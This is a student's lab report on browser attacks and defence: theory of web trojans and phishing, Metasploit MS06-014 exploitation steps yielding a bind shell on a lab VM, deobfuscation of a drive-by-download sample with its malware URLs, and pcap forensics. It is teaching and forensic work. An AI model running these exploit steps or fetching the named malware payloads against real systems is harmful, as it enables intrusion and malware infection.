20212931 2021-2022-2 《网络攻防实践》第十一次实践报告

一、实践内容

(一)基础知识

1.Web浏览器的技术发展与安全威胁

  • Web浏览器定义:网页浏览器(英语:web browser),常被简称为浏览器,是一种用于检索并展示万维网信息资源的应用程序。这些信息资源可为网页、图片、影音或其他内容,它们由统一资源标志符标志。信息资源中的超链接可使用户方便地浏览相关信息。
  • 现代浏览器的技术结构
    • 用户界面(User Interface):用户界面主要包括工具栏、地址栏、前进/后退按钮、书签菜单、可视化页面加载进度、智能下载处理、首选项、打印等。除了浏览器主窗口显示请求的页面之外,其他显示的部分都属于用户界面。用户界面还可以与桌面环境集成,以提供浏览器会话管理或与其他桌面应用程序的通信。
    • 浏览器引擎(Browser Engine):浏览器引擎是一个可嵌入的组件,其为渲染引擎提供高级接口。浏览器引擎可以加载一个给定的URI,并支持诸如:前进/后退/重新加载等浏览操作。浏览器引擎提供查看浏览会话的各个方面的挂钩,例如:当前页面加载进度、JavaScript alert。浏览器引擎还允许查询/修改渲染引擎设置。
    • 渲染引擎(Rendering Engine):渲染引擎为指定的URI生成可视化的表示。渲染引擎能够显示HTML和XML文档,可选择CSS样式,以及嵌入式内容(如图片)。渲染引擎能够准确计算页面布局,可使用“回流”算法逐步调整页面元素的位置。渲染引擎内部包含HTML解析器。
    • 网络(Networking):网络系统实现HTTP和FTP等文件传输协议。 网络系统可以在不同的字符集之间进行转换,为文件解析MIME媒体类型。 网络系统可以实现最近检索资源的缓存功能。
    • JavaScript解释器(JavaScript Interpreter):JavaScript解释器能够解释并执行嵌入在网页中的JavaScript(又称ECMAScript)代码。 为了安全起见,浏览器引擎或渲染引擎可能会禁用某些JavaScript功能,如弹出窗口的打开。
    • XML解析器(XML Parser):XML解析器可以将XML文档解析成文档对象模型(Document Object Model,DOM)树。 XML解析器是浏览器架构中复用最多的子系统之一,几乎所有的浏览器实现都利用现有的XML解析器,而不是从头开始创建自己的XML解析器。
    • 显示后端(Display Backend):显示后端提供绘图和窗口原语,包括:用户界面控件集合、字体集合。
    • 数据持久层(Data Persistence):数据持久层将与浏览会话相关联的各种数据存储在硬盘上。 这些数据可能是诸如:书签、工具栏设置等这样的高级数据,也可能是诸如:Cookie,安全证书、缓存等这样的低级数据。
  • 现代浏览器的安全问题
    • 复杂性:现代浏览器需要支持各种协议、以及各种页面标准等,现在已经非常复杂。
    • 可扩展性:为了拓展需求,各个浏览器都基本支持插件安装。
    • 连通性:browsing anything at anytime in anywhere。
  • 浏览器安全威胁针对位置
    • 针对网络的网络协议的安全威胁。
    • 针对Web浏览器系统平台的安全威胁。
    • 针对Web浏览器插件、集成的应用程序的安全威胁。
    • 针对互联网用户的社会工程学攻击。
  • Web浏览安全威胁类型
    • 网络钓鱼(Phishing)
    • 恶意木马与流氓软件下载
    • 网页木马-浏览器渗透攻击
    • 不良信息内容

2.网页木马-浏览器渗透攻击

  • 网页木马定义:(Web Infection/Drive-by-downloads)网页木马就是表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的服务端下载到访问者的电脑上来自动执行。
  • 网页挂马机制
    • 内嵌HTML标签:最为简单和常见的流量重定向机制:iframe嵌入外部页面链接。
    • 恶意script脚本:利用script标签通过跨站脚本包含网页木马。
    • 内嵌对象:用第三方应用软件或浏览器帮助对象(BHO)的内嵌对象。
    • ARP欺骗挂马:在同一网段内进行中间人攻击。
  • 网页木马感染链
    • 网页木马通常不会直接存在于被挂马页面中。
    • 通过多层嵌套的内嵌链接、跨站脚本等方式构建网马感染链。
  • 网页木马的检测与分析技术
    • 基于特征码匹配的传统检测方法,提取样本特异性。
    • 基于统计与机器学习的静态分析方法,基于语义特征的方式。
    • 基于动态行为结果判定的检测分析方法,采用蜜罐的形式。
    • 基于模拟浏览器环境的动态分析检测方法,基于模拟浏览器来分析网页木马。
  • 网站挂马威胁防范措施
    • 系统软件、应用软件补丁自动更新。
    • 反病毒软件的使用。
    • 安全上网、Google安全建议。

3.网络钓鱼

  • 网络钓鱼定义
    • 目标:获取个人敏感信息如用户名、口令、帐号ID、网银、ATM PIN码或信用卡信息等。
    • 手段:

    架设钓鱼网站如知名金融机构及商务网站。
    发送大量欺骗性垃圾邮件。
    诱骗因特网用户访问钓鱼网站并以敏感信息登录。
    滥用个人敏感信息如资金转账、冒用身份等。

  • 钓鱼攻击策略
    • 架设钓鱼网站

    大规模扫描有漏洞的主机并攻陷主机,使用批扫描工具,自动攻击工具。
    架设钓鱼网站

    前台假冒网站:知名的金融机构、在线电子商务网站。
    后台脚本:收集、验证用户输入,并通过某种渠道转发给钓鱼者。

    • 欺骗技术

    欺骗用户访问钓鱼网站

    DNS中毒攻击。
    网络流量重定向。
    社会工程学-欺骗性垃圾邮件。
    欺骗性垃圾邮件
    发送途径-难以追踪。
    发送源-冒充知名权威机构。
    发送内容-安全理由、紧急事件,欺骗用户访问钓鱼网站,给出敏感个人信息。

    • 欺骗的技巧

    使用IP地址代替域名。
    注册发音相近或形似DNS域名。
    多数真实的链接中混杂关键的指向假冒钓鱼网站的链接。
    对链接URL进行编码和混淆。
    攻击浏览器,隐藏消息内容的本质。
    假冒钓鱼网站的透明性。
    恶意软件安装浏览器助手工具。
    修改本地DNS域名和IP地址映射hosts文件。

    • 网站钓鱼防范措施

    了解网站钓鱼安全威胁与技巧。
    增强安全意识,提高警惕性。
    使用安全软件。

(二)实践要求

  • 1.web浏览器渗透攻击
    • 使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
  • 2.取证分析实践—网页木马攻击场景分析
    • 访问挂马网页,解密并分析其所有文件。
  • 3.攻防对抗实践—web浏览器渗透攻击攻防
    • 攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
    • 防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

二、实践过程

(一)web浏览器渗透攻击

  • 1.打开Metasploit;输入search MS06-014,搜索MS06-014渗透攻击模块,发现只有一个可用的攻击模块;输入use 0,使用该模块进行攻击
  • 2.输入set LHOST 192.168.60.3设置攻击机地址;查询载荷;输入set payload windows/shell/bind_tcp设置载荷;输入exploit进行攻击
  • 3.攻击后得到有木马的网址Local IP,在靶机中访问地址,回到攻击机中显示建立会话
  • 4.验证会话是否有效,用sessions查看连接。使用指令sessions -i 2打开会话2,此时攻击机即可在靶机上执行命令,用ifconfig命令可以查看靶机地址

(二)取证分析实践—网页木马攻击场景分析

  • 1.因为原网页已经失效,只能自己根据文档里的代码提示自己制造网页,分析入口。对start.html,发现在该网页嵌入了一个内联框架,它指向网页new09.htm,且其高度宽度均为0,有利于隐蔽。
  • 2.查看new09.htm的代码,发现其指向了两个URL。
  • 3.求这两个URL的散列值。后续会经常用到散列值,别关闭。
  • 4.根据MD5散列值在hashed文件夹(十分感谢同学提供的文件压缩包)中找到这两个文件,打开查看。
    • 其中一个直接提示不是。
    • 另外一个很复杂,应该是目标了。
  • 5.由倒数第三行t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));我们知道这个文件使用了一种被称为XXTEA+Base64的加密方法,对付这种加密方法,我们只要找到它的加密密钥即可,这是一种16进制加密,用16进制转字符串转换器解码,秘钥密钥 script。
  • 6.由上可以看到利用到的应用程序漏洞有:
    • Adodb.Stream——微软数据库访问对象漏洞;
    • MPS.StormPlayer——暴风影音漏洞;
    • POWERPLAYER.PowerPlayerCtrl.1——PPStream漏洞;
    • BaiduBar.Tool——百度搜霸漏洞
  • 7.除此之外,文件引用了三个三个js文件和一个压缩包(bd.cab,解开后是bd.exe),对他们作MD5散列:
MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4
MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166
MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2
MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2
  • 8.根据散列值去文件夹内找到对应的文件,或者直接去原始文件查看也可:
    • 1.js
      • 十六进制的加密,很麻烦,只能再转换
      • 根据代码可以看到下载了014.exe,是一个下载器,014.exe估计是重头戏
      • 因为文件夹里没有014,所以014.exe用hash值对应的无后缀文件
    • b.js
      • 根据开始函数提示知道了他的加密方法,对他解密(直接用了文档的结果)
      • shellcode的出现格外亮眼,但因为代码长度有限,可能是类似于1.js的下载器,那就可以试着找找URL。URL的特征是/分隔符,十六进制为2f,筛选一下,对相邻的2f的内容解密一下,第三个2f暴露了,从这里到末尾的内容/down.18dd.net/bb/bf.exe,往前几位是http:/
    • pps.js
    • 压缩文件bd
      • 解压就是bd.exe,够直白
  • 9.这里因为xp没有相应的分析工具,我把4个exe压缩了,转到kali上,发现了个好玩的现象,一样大小,这很反常。
    • 做了一下他们的MD5,啧,完全一样,行吧,四合一。
  • 10.对pps.exe先查询一下,大概率加壳了。
    • 查壳没问题,但脱壳有问题,一脱壳便自动销毁,好手段。
  • 11.拿IDA打开pps.exe
    • 因为是free版本,没能反汇编,但结构表有,所以没有明确名称的函数一般都容易有问题,从下往上翻找,果然。
    • 猜测:
    • 首先这个软件会下载木马文件。
    • 这个程序可能在磁盘根目录下生成自动运行的文件(":\AutoRun.inf","[AutoRun] open=","AutoRun.inf","shell\Auto\command=")
    • 这个程序要对 IE、注册表、服务和系统文件进行操作("advapi32.dll",,"drivers/klif.sys","\program files\internet explorer\IEXPLORE.EXE","IE 执行保护","IEXPLORE.EXE","Software\Microsoft\Windows\CurrentVersion\Poli"),"Kernel32.dll","SOFTWARE\Borland\Delphi\RTL","ChangeServiceConfig2A" , "ChangeServiceConfig2W","QueryServiceConfig2A","QueryServiceConfig2W")
    • 这个程序有一定的防系统保护软件的能力( "允许","允许执行")
    • 根据猜测,查找一下.exe
    • 皆为一些系列的盗号木马。利用系统漏洞,绕过防御机制,对多个账号进行检测,盗取用户的账号。

(三)Web浏览器渗透攻击对抗实验

  • 1.攻击和实践一类似,不再重复赘述,结果会在下图中和网址源代码一起展示。
  • 2.将链接地址复制粘贴到kali虚拟机中的搜狐浏览器中,搜索网址并右键网页查看源码,可以看到关键指令做了字符串拼接处理和大量的空白间隔。
  • 3.用在线工具压缩处理一下,获得代码。
  • 4.代码中document.location 加载了 payload,并且下一行中后面跟了一个可执行文件,而在靶机中的任务管理中刚好可以找到对应的,所以可以肯定这就是攻击代码和攻击的程序。
  • 5.但仍然有一个疑问,就是下面很长的一串数字,查询便可以获知,这是漏洞MS06-014中的clsid变量。

(四)Web浏览器遭遇攻击、取证分析

  • 1.首先把工具准备好,需要用到chaosreader(协议分析软件)sudo apt-get install chaosreader
  • 2.使用命令chaosreader -r suspicious-time.pcap打开 suspicious-time.pcap 文件,发现攻击主要集中在HTTP协议上
  • 3.通过指令查询有哪些IP地址和域名在进行攻击
    • 服务:10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2 (DHCP 服务和网关),192.168.1.1 (DNS 服务)。
    • 受害者:10.0.2.15, 10.0.3.15, 10.0.4.15,10.0.5.15 。
    • 模拟被侵入主机:192.168.56.50 ( “rapidshare.com.eyu32.ru”)、192.168.56.51 (“shop.honeynet.sg”)。
    • 攻击者:192.168.56.52 ( “sploitme.com.cn”)。
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort 
  • 4.输入命令tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$10}' | sort -u筛选出NBNS协议,NBNS协议的作用是提供主机名和地址映射方法,即提供主机名称.可以发现这四个不同 ip 地址的主机分别映射的主机名是相同的
  • 5.再用wireshark打开 suspicious-time.pcap ,通过arp筛选发现,四个ip地址所对应的mac地址相同,推测这四台主机相同的或者克隆的,是虚拟机
  • 6.在生成的文件中打开session_0006.part_01.html,可以看出这应该是一个钓鱼网站,其对应的rapidshare.com.eyu32.ru/login.php
  • 7.打开session_0007.part_02.html,其对应的sploitme.com.cn ,发现 404 NotFound
    • 这里很反常,所以查看了一下源码
    • 发现其将恶意页面伪装成404页面,这就解释的通了。
  • 8.打开session_0032.part_01.html,其对应的shop.honeynet.sg/catalog/
  • 9.攻击者的操作这时就可以知道了
    • 攻击者将恶意javascript代码注入指向sploitme.com.cn/?click=X的隐藏iframe。
    • 当访问者查看这些页面时,它们首先被重定向到sploitme.com.cn/fg/show.php?s=X,该页面通过302 FOUND标头重定向到伪造的404页面
    • 然后在该页面中,检查用户代理字符串,着陆点和其他参数,并(show.php)发出另一个javascript代码,该代码尝试各种攻击以在受害者的计算机中执行代码。
    • 如果任何漏洞利用成功,则客户端的计算机将下载并执行位于sploitme.com.cn/fg/load.php?e=X的文件。 在案例中,恶意软件访问www.honeynet.org。
  • 10.继续查看数据流,跟踪TCP,发现主要攻击目标是windows操作系统和IE浏览器漏洞
  • 11.同时Shellcode获取了系统临时文件路径,加载urlmon.dll,从URL http://sploitme.com.cn/fg/load.php?e=1检索可执行文件,然后执行它。Shellcode 之间的唯一区别是对 load.php 脚本的请求中的e变量,该变量指定发送恶意软件可执行文件。
  • 12.此外,攻击使客户端从恶意软件分发网络服务器下载可执行文件并在本地执行,目的是在受害者主机上通过 Internet Explorer 加载www.honeynet.org。

三、学习中遇到的问题及解决

    1. 实践一中的木马程序总是无法被成功下载建立连接。
  • 解决方案:更换载荷,set payload windows/shell/bind_tcp

四、实验总结

本次实验难度很大,涉及的知识面可以说有了指数级的飞跃,但能明显感受到所用的思路的知识和之前的实验的连接,也有了更为明确和立体的分析的思路,只可惜,所涉及的知识只能说是边做边找,用到啥看看啥,这可能会成为自己之后的漏洞,只能说尽快修复O(∩_∩)O哈哈~

posted @ 2022-05-24 14:53  Psalm46  阅读(145)  评论(0编辑  收藏  举报